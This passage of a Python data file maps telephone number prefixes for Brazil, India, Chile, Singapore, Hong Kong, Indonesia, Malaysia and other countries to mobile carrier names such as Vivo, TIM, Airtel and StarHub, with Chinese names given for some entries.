'556998443':{'en': 'Brasil Telecom GSM'},
'556998442':{'en': 'Brasil Telecom GSM'},
'556998441':{'en': 'Brasil Telecom GSM'},
'556998447':{'en': 'Brasil Telecom GSM'},
'556998446':{'en': 'Brasil Telecom GSM'},
'556998445':{'en': 'Brasil Telecom GSM'},
'556998444':{'en': 'Brasil Telecom GSM'},
'556699638':{'en': 'Vivo'},
'556699639':{'en': 'Vivo'},
'556699632':{'en': 'Vivo'},
'556699633':{'en': 'Vivo'},
'556699631':{'en': 'Vivo'},
'556699636':{'en': 'Vivo'},
'556699637':{'en': 'Vivo'},
'556699634':{'en': 'Vivo'},
'556699635':{'en': 'Vivo'},
'9181147':{'en': 'Airtel'},
'9176528':{'en': 'CellOne'},
'9181410':{'en': 'Vodafone'},
'9174640':{'en': 'Airtel'},
'918013':{'en': 'Aircel'},
'558999984':{'en': 'TIM'},
'9181149':{'en': 'Airtel'},
'9181758':{'en': 'Airtel'},
'9181759':{'en': 'Tata Docomo'},
'9181230':{'en': 'Tata Docomo'},
'5696770':{'en': 'Celupago'},
'5696775':{'en': 'Entel'},
'5696777':{'en': 'Entel'},
'5696776':{'en': 'Entel'},
'5696779':{'en': 'Entel'},
'5696778':{'en': 'Entel'},
'658339':{'en': 'SingTel'},
'658338':{'en': 'SingTel'},
'658333':{'en': 'M1'},
'658332':{'en': 'StarHub'},
'658331':{'en': 'StarHub'},
'658330':{'en': 'StarHub'},
'658337':{'en': 'StarHub'},
'658336':{'en': 'StarHub'},
'658335':{'en': 'StarHub'},
'658334':{'en': 'StarHub'},
'85365470':{'en': 'CTM'},
'85365471':{'en': 'CTM'},
'85365472':{'en': 'CTM'},
'85365473':{'en': 'CTM'},
'85365474':{'en': 'CTM'},
'85365475':{'en': 'SmarTone'},
'85365476':{'en': 'SmarTone'},
'85365477':{'en': 'SmarTone'},
'85365478':{'en': 'SmarTone'},
'85365479':{'en': 'SmarTone'},
'9175708':{'en': 'Vodafone'},
'9175709':{'en': 'Vodafone'},
'6243899':{'en': 'Esia'},
'9176369':{'en': 'Airtel'},
'56958':{'en': 'Movistar'},
'56959':{'en': 'Claro'},
'56954':{'en': 'Claro'},
'56956':{'en': 'Entel'},
'56957':{'en': 'Entel'},
'56950':{'en': 'Claro'},
'56953':{'en': 'Movistar'},
'556499998':{'en': 'Vivo'},
'9181570':{'en': 'Idea'},
'556499991':{'en': 'Vivo'},
'556499995':{'en': 'Vivo'},
'556499994':{'en': 'Vivo'},
'556499997':{'en': 'Vivo'},
'556499996':{'en': 'Vivo'},
'5574989':{'en': 'Oi'},
'5574988':{'en': 'Oi'},
'5574987':{'en': 'Oi'},
'5574986':{'en': 'Oi'},
'5574985':{'en': 'Oi'},
'9180800':{'en': 'Reliance'},
'658197':{'en': 'M1'},
'658196':{'en': 'M1'},
'658195':{'en': 'M1'},
'658194':{'en': 'M1'},
'658193':{'en': 'M1'},
'658192':{'en': 'M1'},
'658191':{'en': 'M1'},
'658190':{'en': 'M1'},
'6227391':{'en': 'Esia'},
'658199':{'en': 'M1'},
'658198':{'en': 'StarHub'},
'5577988':{'en': 'Oi'},
'5577989':{'en': 'Oi'},
'5577986':{'en': 'Oi'},
'5577987':{'en': 'Oi'},
'5577985':{'en': 'Oi'},
'62232933':{'en': 'Esia'},
'62232932':{'en': 'Esia'},
'62232931':{'en': 'Esia'},
'62232930':{'en': 'Esia'},
'62232937':{'en': 'Esia'},
'62232936':{'en': 'Esia'},
'62232935':{'en': 'Esia'},
'62232934':{'en': 'Esia'},
'918019':{'en': 'Tata Docomo'},
'62232938':{'en': 'Esia'},
'917698':{'en': 'Idea'},
'917699':{'en': 'Idea'},
'917694':{'en': 'Idea'},
'917695':{'en': 'Reliance'},
'917696':{'en': 'Tata Docomo'},
'917697':{'en': 'Idea'},
'917690':{'en': 'Idea'},
'917691':{'en': 'Idea'},
'917692':{'en': 'Idea'},
'917693':{'en': 'Idea'},
'918011':{'en': 'Airtel'},
'918279':{'en': 'Reliance Jio'},
'9173700':{'en': 'Idea'},
'569648':{'en': 'Movistar'},
'569649':{'en': 'Movistar'},
'569642':{'en': 'WOM'},
'569643':{'en': 'WOM'},
'569640':{'en': 'Movistar'},
'569641':{'en': 'WOM'},
'569646':{'en': 'Movistar'},
'569647':{'en': 'Movistar'},
'569644':{'en': 'WOM'},
'569645':{'en': 'WOM'},
'5598989':{'en': 'Oi'},
'55759993':{'en': 'Vivo'},
'55759992':{'en': 'Vivo'},
'55759991':{'en': 'Vivo'},
'55759990':{'en': 'Vivo'},
'55759995':{'en': 'Vivo'},
'55759994':{'en': 'Vivo'},
'9176480':{'en': 'CellOne'},
'9176488':{'en': 'CellOne'},
'9176489':{'en': 'CellOne'},
'559799179':{'en': 'Vivo'},
'559799178':{'en': 'Vivo'},
'559799171':{'en': 'Vivo'},
'559799173':{'en': 'Vivo'},
'559799172':{'en': 'Vivo'},
'559799175':{'en': 'Vivo'},
'559799174':{'en': 'Vivo'},
'559799177':{'en': 'Vivo'},
'559799176':{'en': 'Vivo'},
'9176784':{'en': 'Reliance Jio'},
'85264539':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'85264538':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'62216064':{'en': 'Esia'},
'62216063':{'en': 'Esia'},
'62216062':{'en': 'Esia'},
'62216061':{'en': 'Esia'},
'62216060':{'en': 'Esia'},
'9176738':{'en': 'Reliance'},
'9176739':{'en': 'Airtel'},
'917841':{'en': 'Telewings'},
'917843':{'en': 'Dishnet'},
'917842':{'en': 'Tata Docomo'},
'917845':{'en': 'Tata Docomo'},
'917844':{'en': 'Dishnet'},
'917847':{'en': 'Reliance'},
'917846':{'en': 'Reliance'},
'917849':{'en': 'Reliance'},
'917848':{'en': 'Reliance'},
'614888':{'en': 'My Number'},
'9177919':{'en': 'Aircel'},
'9177918':{'en': 'Aircel'},
'918017':{'en': 'Vodafone'},
'9175806':{'en': 'Vodafone'},
'9173278':{'en': 'Airtel'},
'9176359':{'en': 'Airtel'},
'556199909':{'en': 'Vivo'},
'556199908':{'en': 'Vivo'},
'556199905':{'en': 'Vivo'},
'556199904':{'en': 'Vivo'},
'556199907':{'en': 'Vivo'},
'556199906':{'en': 'Vivo'},
'556199901':{'en': 'Vivo'},
'556199903':{'en': 'Vivo'},
'556199902':{'en': 'Vivo'},
'6227493':{'en': 'Esia'},
'6227492':{'en': 'Esia'},
'6227491':{'en': 'Esia'},
'6227497':{'en': 'Esia'},
'6227496':{'en': 'Esia'},
'6227495':{'en': 'Esia'},
'6227494':{'en': 'Esia'},
'558799174':{'en': 'Claro BR'},
'558799175':{'en': 'Claro BR'},
'558799170':{'en': 'Claro BR'},
'558799171':{'en': 'Claro BR'},
'558799172':{'en': 'Claro BR'},
'558799173':{'en': 'Claro BR'},
'9174648':{'en': 'Idea'},
'9174649':{'en': 'Idea'},
'9172858':{'en': 'Idea'},
'556198508':{'en': 'Brasil Telecom GSM'},
'556198509':{'en': 'Brasil Telecom GSM'},
'597773':{'en': 'Telesur'},
'597772':{'en': 'Telesur'},
'558998120':{'en': 'Vivo'},
'597770':{'en': 'Telesur'},
'556198502':{'en': 'Brasil Telecom GSM'},
'556198503':{'en': 'Brasil Telecom GSM'},
'597774':{'en': 'Telesur'},
'9173718':{'en': 'Idea'},
'9181328':{'en': 'Hexacom'},
'556199639':{'en': 'Vivo'},
'556199638':{'en': 'Vivo'},
'556199637':{'en': 'Vivo'},
'556199636':{'en': 'Vivo'},
'556199635':{'en': 'Vivo'},
'556199634':{'en': 'Vivo'},
'556199633':{'en': 'Vivo'},
'556199632':{'en': 'Vivo'},
'556199631':{'en': 'Vivo'},
'658294':{'en': 'StarHub'},
'658295':{'en': 'StarHub'},
'658296':{'en': 'StarHub'},
'658297':{'en': 'StarHub'},
'658290':{'en': 'StarHub'},
'658291':{'en': 'StarHub'},
'658292':{'en': 'StarHub'},
'658293':{'en': 'StarHub'},
'9174705':{'en': 'Airtel'},
'9174704':{'en': 'Airtel'},
'9174707':{'en': 'Airtel'},
'9174706':{'en': 'Airtel'},
'658298':{'en': 'StarHub'},
'658299':{'en': 'SingTel'},
'9174703':{'en': 'Airtel'},
'9174702':{'en': 'Dishnet'},
'556998111':{'en': 'TIM'},
'9174969':{'en': 'Tata Docomo'},
'556998113':{'en': 'TIM'},
'556998112':{'en': 'TIM'},
'556998115':{'en': 'TIM'},
'556998114':{'en': 'TIM'},
'556998117':{'en': 'TIM'},
'556998116':{'en': 'TIM'},
'556998119':{'en': 'TIM'},
'556998118':{'en': 'TIM'},
'558899463':{'en': 'Claro BR'},
'917572':{'en': 'Vodafone'},
'557199139':{'en': 'TIM'},
'557199138':{'en': 'TIM'},
'558899462':{'en': 'Claro BR'},
'557199135':{'en': 'TIM'},
'557199134':{'en': 'TIM'},
'557199137':{'en': 'TIM'},
'557199136':{'en': 'TIM'},
'557199131':{'en': 'TIM'},
'558899461':{'en': 'Claro BR'},
'557199133':{'en': 'TIM'},
'557199132':{'en': 'TIM'},
'558899460':{'en': 'Claro BR'},
'659195':{'en': 'M1'},
'917576':{'en': 'Vodafone'},
'559999631':{'en': 'Oi'},
'9176579':{'en': 'Tata Docomo'},
'9174658':{'en': 'Idea'},
'558899464':{'en': 'Claro BR'},
'555498119':{'en': 'TIM'},
'555498118':{'en': 'TIM'},
'9175111':{'en': 'Idea'},
'555498115':{'en': 'TIM'},
'555498114':{'en': 'TIM'},
'555498117':{'en': 'TIM'},
'555498116':{'en': 'TIM'},
'555498111':{'en': 'TIM'},
'555498113':{'en': 'TIM'},
'555498112':{'en': 'TIM'},
'556198515':{'en': 'Brasil Telecom GSM'},
'556198514':{'en': 'Brasil Telecom GSM'},
'556198517':{'en': 'Brasil Telecom GSM'},
'917207':{'en': 'Tata Docomo'},
'917206':{'en': 'Tata Docomo'},
'559899198':{'en': 'Vivo'},
'556198516':{'en': 'Brasil Telecom GSM'},
'917203':{'en': 'Idea'},
'917202':{'en': 'Idea'},
'917201':{'en': 'Idea'},
'917200':{'en': 'Tata Docomo'},
'559899192':{'en': 'Vivo'},
'601137':{'en': 'U Mobile'},
'559899191':{'en': 'Vivo'},
'559899196':{'en': 'Vivo'},
'559899197':{'en': 'Vivo'},
'559899194':{'en': 'Vivo'},
'559899195':{'en': 'Vivo'},
'556198513':{'en': 'Brasil Telecom GSM'},
'9183677':{'en': 'Idea'},
'9183676':{'en': 'Idea'},
'9183675':{'en': 'Idea'},
'601134':{'en': 'Enabling Asia'},
'9183673':{'en': 'Idea'},
'9183672':{'en': 'Idea'},
'9183670':{'en': 'Idea'},
'556599642':{'en': 'Vivo'},
'556599643':{'en': 'Vivo'},
'68575':{'en': 'Bluesky'},
'556599641':{'en': 'Vivo'},
'559598123':{'en': 'TIM'},
'556599647':{'en': 'Vivo'},
'559598121':{'en': 'TIM'},
'556599645':{'en': 'Vivo'},
'558399332':{'en': 'Claro BR'},
'558399333':{'en': 'Claro BR'},
'558399330':{'en': 'Claro BR'},
'558399331':{'en': 'Claro BR'},
'558399334':{'en': 'Claro BR'},
'55919998':{'en': 'Oi'},
'55919996':{'en': 'Oi'},
'559899992':{'en': 'Oi'},
'559899993':{'en': 'Oi'},
'917061':{'en': 'Reliance'},
'559899991':{'en': 'Oi'},
'917067':{'en': 'Reliance'},
'559799611':{'en': 'Oi'},
'559899994':{'en': 'Oi'},
'559899995':{'en': 'Oi'},
'917069':{'en': 'Vodafone'},
'917068':{'en': 'Telewings'},
'659192':{'en': 'M1'},
'918086':{'en': 'Vodafone'},
'557599129':{'en': 'TIM'},
'557599122':{'en': 'TIM'},
'557599123':{'en': 'TIM'},
'557599121':{'en': 'TIM'},
'557599126':{'en': 'TIM'},
'557599127':{'en': 'TIM'},
'557599124':{'en': 'TIM'},
'557599125':{'en': 'TIM'},
'918087':{'en': 'Tata Docomo'},
'917710':{'en': 'Airtel'},
'917715':{'en': 'Airtel'},
'599319':{'en': 'WIC'},
'9176259':{'en': 'CellOne'},
'558899941':{'en': 'TIM'},
'558899942':{'en': 'TIM'},
'558899943':{'en': 'TIM'},
'558899944':{'en': 'TIM'},
'558899945':{'en': 'TIM'},
'558899946':{'en': 'TIM'},
'558899947':{'en': 'TIM'},
'9176250':{'en': 'Airtel'},
'918208':{'en': 'Reliance Jio'},
'918209':{'en': 'Reliance Jio'},
'5587989':{'en': 'Oi'},
'5587988':{'en': 'Oi'},
'9176171':{'en': 'Idea'},
'5587985':{'en': 'Oi'},
'5587987':{'en': 'Oi'},
'5587986':{'en': 'Oi'},
'9176035':{'en': 'Reliance'},
'9176034':{'en': 'Reliance'},
'9176037':{'en': 'Reliance'},
'9176036':{'en': 'Reliance'},
'9176031':{'en': 'Reliance'},
'9176030':{'en': 'Airtel'},
'9176033':{'en': 'Reliance'},
'9176032':{'en': 'Reliance'},
'5966967':{'en': 'Digicel'},
'5966964':{'en': 'Orange'},
'5966962':{'en': 'Orange'},
'5966963':{'en': 'Orange'},
'5966960':{'en': 'SFR/Rife'},
'9176175':{'en': 'Vodafone'},
'918014':{'en': 'Aircel'},
'918083':{'en': 'Aircel'},
'918285':{'en': 'Aircel'},
'9182477':{'en': 'Reliance Jio'},
'556699611':{'en': 'Vivo'},
'556699612':{'en': 'Vivo'},
'556699613':{'en': 'Vivo'},
'556699614':{'en': 'Vivo'},
'556699615':{'en': 'Vivo'},
'556699616':{'en': 'Vivo'},
'556699617':{'en': 'Vivo'},
'556699618':{'en': 'Vivo'},
'55979840':{'en': 'Claro BR'},
'658392':{'en': 'StarHub'},
'555499989':{'en': 'Vivo'},
'555499988':{'en': 'Vivo'},
'555499981':{'en': 'Vivo'},
'555499983':{'en': 'Vivo'},
'555499982':{'en': 'Vivo'},
'555499985':{'en': 'Vivo'},
'555499984':{'en': 'Vivo'},
'555499987':{'en': 'Vivo'},
'555499986':{'en': 'Vivo'},
'658394':{'en': 'StarHub'},
'9177610':{'en': 'Airtel'},
'9177618':{'en': 'Airtel'},
'658731':{'en': 'SingTel'},
'559799979':{'en': 'Oi'},
'559799978':{'en': 'Oi'},
'558299994':{'en': 'TIM'},
'5583985':{'en': 'Oi'},
'5583987':{'en': 'Oi'},
'5583986':{'en': 'Oi'},
'5583989':{'en': 'Oi'},
'5583988':{'en': 'Oi'},
'9180860':{'en': 'Vodafone'},
'67854':{'en': 'Digicel'},
'62838':{'en': 'AXIS'},
'601083':{'en': 'XOX'},
'601082':{'en': 'DiGi'},
'601081':{'en': 'Tune Talk'},
'601080':{'en': 'Tune Talk'},
'601087':{'en': 'XOX'},
'601086':{'en': 'XOX'},
'601085':{'en': 'XOX'},
'601084':{'en': 'XOX'},
'601089':{'en': 'Maxis'},
'601088':{'en': 'DiGi'},
'659002':{'en': 'StarHub'},
'659003':{'en': 'StarHub'},
'659001':{'en': 'StarHub'},
'659006':{'en': 'StarHub'},
'659007':{'en': 'StarHub'},
'659004':{'en': 'StarHub'},
'659005':{'en': 'StarHub'},
'659008':{'en': 'StarHub'},
'659009':{'en': 'StarHub'},
'6261921':{'en': 'Esia'},
'6261920':{'en': 'Esia'},
'559998129':{'en': 'TIM'},
'62284910':{'en': 'Esia'},
'556799814':{'en': 'Vivo'},
'62284912':{'en': 'Esia'},
'62284913':{'en': 'Esia'},
'556799811':{'en': 'Vivo'},
'556799810':{'en': 'Vivo'},
'556799813':{'en': 'Vivo'},
'556799812':{'en': 'Vivo'},
'9176260':{'en': 'CellOne'},
'9173728':{'en': 'Idea'},
'9173729':{'en': 'Idea'},
'593959':{'en': 'Claro'},
'6233192':{'en': 'Esia'},
'6233191':{'en': 'Esia'},
'62281988':{'en': 'Esia'},
'62281989':{'en': 'Esia'},
'658717':{'en': 'M1'},
'658716':{'en': 'M1'},
'658711':{'en': 'M1'},
'658710':{'en': 'SingTel'},
'658713':{'en': 'SingTel'},
'658712':{'en': 'SingTel'},
'658719':{'en': 'M1'},
'62281985':{'en': 'Esia'},
'62281986':{'en': 'Esia'},
'62281987':{'en': 'Esia'},
'55819824':{'en': 'Vivo'},
'55819825':{'en': 'Vivo'},
'55819822':{'en': 'Vivo'},
'55819823':{'en': 'Vivo'},
'55819820':{'en': 'Vivo'},
'55819821':{'en': 'Vivo'},
'9174650':{'en': 'Idea'},
'9176349':{'en': 'Airtel'},
'559898128':{'en': 'TIM'},
'559898129':{'en': 'TIM'},
'5588986':{'en': 'Oi'},
'5588987':{'en': 'Oi'},
'559898124':{'en': 'TIM'},
'559898125':{'en': 'TIM'},
'559898126':{'en': 'TIM'},
'559898127':{'en': 'TIM'},
'918140':{'en': 'Idea'},
'559898121':{'en': 'TIM'},
'559898122':{'en': 'TIM'},
'559898123':{'en': 'TIM'},
'852557':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852556':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852553':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852552':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852551':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'61452':{'en': 'Vodafone'},
'9176348':{'en': 'Airtel'},
'852559':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852558':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'559799159':{'en': 'Vivo'},
'559799158':{'en': 'Vivo'},
'559799157':{'en': 'Vivo'},
'559799156':{'en': 'Vivo'},
'559799155':{'en': 'Vivo'},
'559799154':{'en': 'Vivo'},
'559799153':{'en': 'Vivo'},
'559799152':{'en': 'Vivo'},
'559799151':{'en': 'Vivo'},
'559498411':{'en': 'Claro BR'},
'559498412':{'en': 'Claro BR'},
'559498413':{'en': 'Claro BR'},
'559498414':{'en': 'Claro BR'},
'55879910':{'en': 'Claro BR'},
'55879911':{'en': 'Claro BR'},
'55879912':{'en': 'Claro BR'},
'55879913':{'en': 'Claro BR'},
'55879914':{'en': 'Claro BR'},
'55879915':{'en': 'Claro BR'},
'55879916':{'en': 'Claro BR'},
'61458':{'en': 'Telstra'},
'918018':{'en': 'Airtel'},
'917869':{'en': 'Airtel'},
'917868':{'en': 'Vodafone'},
'8536333':{'en': 'CTM'},
'917862':{'en': 'Reliance'},
'917861':{'en': 'Reliance'},
'917860':{'en': 'Idea'},
'917867':{'en': 'Vodafone'},
'917866':{'en': 'Reliance'},
'917865':{'en': 'Reliance'},
'917864':{'en': 'Reliance'},
'601865':{'en': 'YTL'},
'601864':{'en': 'YTL'},
'601867':{'en': 'YTL'},
'601866':{'en': 'U Mobile'},
'601861':{'en': 'YTL'},
'601860':{'en': 'YTL'},
'601863':{'en': 'YTL'},
'601862':{'en': 'YTL'},
'601869':{'en': 'YTL'},
'601868':{'en': 'YTL'},
'558599954':{'en': 'TIM'},
'558599955':{'en': 'TIM'},
'5939922':{'en': 'Claro'},
'5939923':{'en': 'Claro'},
'558799998':{'en': 'TIM'},
'558799999':{'en': 'TIM'},
'5939926':{'en': 'Movistar'},
'5939927':{'en': 'Movistar'},
'5939924':{'en': 'Claro'},
'5939925':{'en': 'Movistar'},
'558799992':{'en': 'TIM'},
'558799993':{'en': 'TIM'},
'5939928':{'en': 'Movistar'},
'558799991':{'en': 'TIM'},
'558799996':{'en': 'TIM'},
'558799997':{'en': 'TIM'},
'558799994':{'en': 'TIM'},
'558799995':{'en': 'TIM'},
'559998124':{'en': 'TIM'},
'556199923':{'en': 'Vivo'},
'556199922':{'en': 'Vivo'},
'556199921':{'en': 'Vivo'},
'556199927':{'en': 'Vivo'},
'556199926':{'en': 'Vivo'},
'556199925':{'en': 'Vivo'},
'556199924':{'en': 'Vivo'},
'558599958':{'en': 'TIM'},
'556199929':{'en': 'Vivo'},
'556199928':{'en': 'Vivo'},
'9177409':{'en': 'Idea'},
'558599959':{'en': 'TIM'},
'9174660':{'en': 'Idea'},
'9174668':{'en': 'Idea'},
'9174669':{'en': 'Idea'},
'66804':{'en': 'DTAC'},
'556198524':{'en': 'Brasil Telecom GSM'},
'556198525':{'en': 'Brasil Telecom GSM'},
'556198526':{'en': 'Brasil Telecom GSM'},
'556198527':{'en': 'Brasil Telecom GSM'},
'556198521':{'en': 'Brasil Telecom GSM'},
'556198522':{'en': 'Brasil Telecom GSM'},
'556198523':{'en': 'Brasil Telecom GSM'},
'556198528':{'en': 'Brasil Telecom GSM'},
'556198529':{'en': 'Brasil Telecom GSM'},
'9177558':{'en': 'Airtel'},
'557999193':{'en': 'TIM'},
'557999192':{'en': 'TIM'},
'557999191':{'en': 'TIM'},
'557999199':{'en': 'TIM'},
'557999198':{'en': 'TIM'},
'9181300':{'en': 'Airtel'},
'556199655':{'en': 'Vivo'},
'556199654':{'en': 'Vivo'},
'556199657':{'en': 'Vivo'},
'556199656':{'en': 'Vivo'},
'556199651':{'en': 'Vivo'},
'556199653':{'en': 'Vivo'},
'556199652':{'en': 'Vivo'},
'556398416':{'en': 'Brasil Telecom GSM'},
'556398417':{'en': 'Brasil Telecom GSM'},
'556398414':{'en': 'Brasil Telecom GSM'},
'556398415':{'en': 'Brasil Telecom GSM'},
'556199659':{'en': 'Vivo'},
'556199658':{'en': 'Vivo'},
'556398411':{'en': 'Brasil Telecom GSM'},
'6228291':{'en': 'Esia'},
'917211':{'en': 'Idea'},
'9177838':{'en': 'Airtel'},
'9177839':{'en': 'Dishnet'},
'557199113':{'en': 'TIM'},
'557199112':{'en': 'TIM'},
'557199111':{'en': 'TIM'},
'557199117':{'en': 'TIM'},
'557199116':{'en': 'TIM'},
'557199115':{'en': 'TIM'},
'557199114':{'en': 'TIM'},
'557199119':{'en': 'TIM'},
'557199118':{'en': 'TIM'},
'556599651':{'en': 'Vivo'},
'918012':{'en': 'Aircel'},
'555399241':{'en': 'Claro BR'},
'556599652':{'en': 'Vivo'},
'9176430':{'en': 'Telenor'},
'556599655':{'en': 'Vivo'},
'556599654':{'en': 'Vivo'},
'555498133':{'en': 'TIM'},
'555498132':{'en': 'TIM'},
'555498131':{'en': 'TIM'},
'6142010':{'en': 'Pivotel Satellite'},
'555498137':{'en': 'TIM'},
'555498136':{'en': 'TIM'},
'555498135':{'en': 'TIM'},
'555498134':{'en': 'TIM'},
'555498139':{'en': 'TIM'},
'555498138':{'en': 'TIM'},
'6226297':{'en': 'Esia'},
'9176700':{'en': 'Idea'},
'853631':{'en': '3'},
'917263':{'en': 'Vodafone'},
'917262':{'en': 'Vodafone'},
'917265':{'en': 'Idea'},
'917264':{'en': 'Vodafone'},
'917267':{'en': 'Telewings'},
'917266':{'en': 'Telewings'},
'917268':{'en': 'Telewings'},
'556599668':{'en': 'Vivo'},
'556599669':{'en': 'Vivo'},
'9174360':{'en': 'Vodafone'},
'556599661':{'en': 'Vivo'},
'556599662':{'en': 'Vivo'},
'556599663':{'en': 'Vivo'},
'556599664':{'en': 'Vivo'},
'556599665':{'en': 'Vivo'},
'556599666':{'en': 'Vivo'},
'556599667':{'en': 'Vivo'},
'9181879':{'en': 'Tata Docomo'},
'622292':{'en': 'Esia'},
'622295':{'en': 'Esia'},
'9181870':{'en': 'Idea'},
'9178430':{'en': 'Telewings'},
'917089':{'en': 'Idea'},
'917088':{'en': 'Idea'},
'917085':{'en': 'Hexacom'},
'917084':{'en': 'Idea'},
'917087':{'en': 'Airtel'},
'917086':{'en': 'Airtel'},
'917081':{'en': 'Vodafone'},
'917080':{'en': 'Airtel'},
'917083':{'en': 'Idea'},
'917082':{'en': 'Airtel'},
'918196':{'en': 'Idea'},
'918197':{'en': 'Airtel'},
'918194':{'en': 'Idea'},
'62273920':{'en': 'Esia'},
'918192':{'en': 'Idea'},
'918193':{'en': 'Idea'},
'918190':{'en': 'Idea'},
'918191':{'en': 'Idea'},
'559198242':{'en': 'TIM'},
'559198243':{'en': 'TIM'},
'559198241':{'en': 'TIM'},
'559198246':{'en': 'TIM'},
'559198244':{'en': 'TIM'},
'559198245':{'en': 'TIM'},
'62283924':{'en': 'Esia'},
'917076':{'en': 'Vodafone'},
'917077':{'en': 'Airtel'},
'62283920':{'en': 'Esia'},
'62283921':{'en': 'Esia'},
'917072':{'en': 'Vodafone'},
'917535':{'en': 'Idea'},
'6271193':{'en': 'Esia'},
'558899926':{'en': 'TIM'},
'558899927':{'en': 'TIM'},
'558899924':{'en': 'TIM'},
'558899925':{'en': 'TIM'},
'558899922':{'en': 'TIM'},
'558899923':{'en': 'TIM'},
'918226':{'en': 'Idea'},
'558899921':{'en': 'TIM'},
'918228':{'en': 'Idea'},
'558899928':{'en': 'TIM'},
'558899929':{'en': 'TIM'},
'9172910':{'en': 'Vodafone'},
'917534':{'en': 'Idea'},
'6271192':{'en': 'Esia'},
'9172918':{'en': 'Vodafone'},
'9172919':{'en': 'Vodafone'},
'9173376':{'en': 'Airtel'},
'559798411':{'en': 'Claro BR'},
'559798410':{'en': 'Claro BR'},
'559398114':{'en': 'TIM'},
'558499620':{'en': 'TIM'},
'559398116':{'en': 'TIM'},
'559398117':{'en': 'TIM'},
'55839998':{'en': 'TIM'},
'55839999':{'en': 'TIM'},
'559398112':{'en': 'TIM'},
'559398113':{'en': 'TIM'},
'55839995':{'en': 'TIM'},
'55839996':{'en': 'TIM'},
'55839997':{'en': 'TIM'},
'55839990':{'en': 'TIM'},
'55839991':{'en': 'TIM'},
'55839992':{'en': 'TIM'},
'55839993':{'en': 'TIM'},
'6222995':{'en': 'Esia'},
'6222994':{'en': 'Esia'},
'6222997':{'en': 'Esia'},
'6222996':{'en': 'Esia'},
'6222991':{'en': 'Esia'},
'6222990':{'en': 'Esia'},
'6222993':{'en': 'Esia'},
'6222992':{'en': 'Esia'},
'557799121':{'en': 'TIM'},
'557799125':{'en': 'TIM'},
'557799127':{'en': 'TIM'},
'557799128':{'en': 'TIM'},
'557799129':{'en': 'TIM'},
'917531':{'en': 'Aircel'},
'556699676':{'en': 'Vivo'},
'556699677':{'en': 'Vivo'},
'556699674':{'en': 'Vivo'},
'556699675':{'en': 'Vivo'},
'556699672':{'en': 'Vivo'},
'556699673':{'en': 'Vivo'},
'556699671':{'en': 'Vivo'},
'918384':{'en': 'Aircel'},
'556699678':{'en': 'Vivo'},
'556699679':{'en': 'Vivo'},
'9177182':{'en': 'Vodafone'},
'9177183':{'en': 'Vodafone'},
'9177181':{'en': 'Vodafone'},
'9177186':{'en': 'Vodafone'},
'9177187':{'en': 'Vodafone'},
'9177184':{'en': 'Vodafone'},
'9177185':{'en': 'Vodafone'},
'917530':{'en': 'Aircel'},
'6228599':{'en': 'Esia'},
'6228591':{'en': 'Esia'},
'861340':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861341':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861342':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861343':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861344':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861345':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861346':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861347':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861348':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'917532':{'en': 'Aircel'},
'559799957':{'en': 'Oi'},
'559799953':{'en': 'Oi'},
'559799959':{'en': 'Oi'},
'559799958':{'en': 'Oi'},
'5917373':{'en': 'Entel'},
'5917372':{'en': 'Entel'},
'5917371':{'en': 'Entel'},
'5917370':{'en': 'Entel'},
'5917377':{'en': 'Entel'},
'5917375':{'en': 'Entel'},
'5917374':{'en': 'Entel'},
'9181460':{'en': 'Airtel'},
'658718':{'en': 'M1'},
'62967901':{'en': 'Esia'},
'62967900':{'en': 'Esia'},
'62967903':{'en': 'Esia'},
'62967902':{'en': 'Esia'},
'62967904':{'en': 'Esia'},
'5695554':{'en': 'Netline'},
'5695555':{'en': 'Redvoiss'},
'5695556':{'en': 'Redvoiss'},
'5695550':{'en': 'Netline'},
'5695551':{'en': 'Netline'},
'5695552':{'en': 'Netline'},
'5695553':{'en': 'Netline'},
'9180840':{'en': 'Airtel'},
'85510':{'en': 'Smart'},
'557799814':{'en': 'Vivo'},
'85512':{'en': 'Cellcard'},
'85514':{'en': 'Cellcard'},
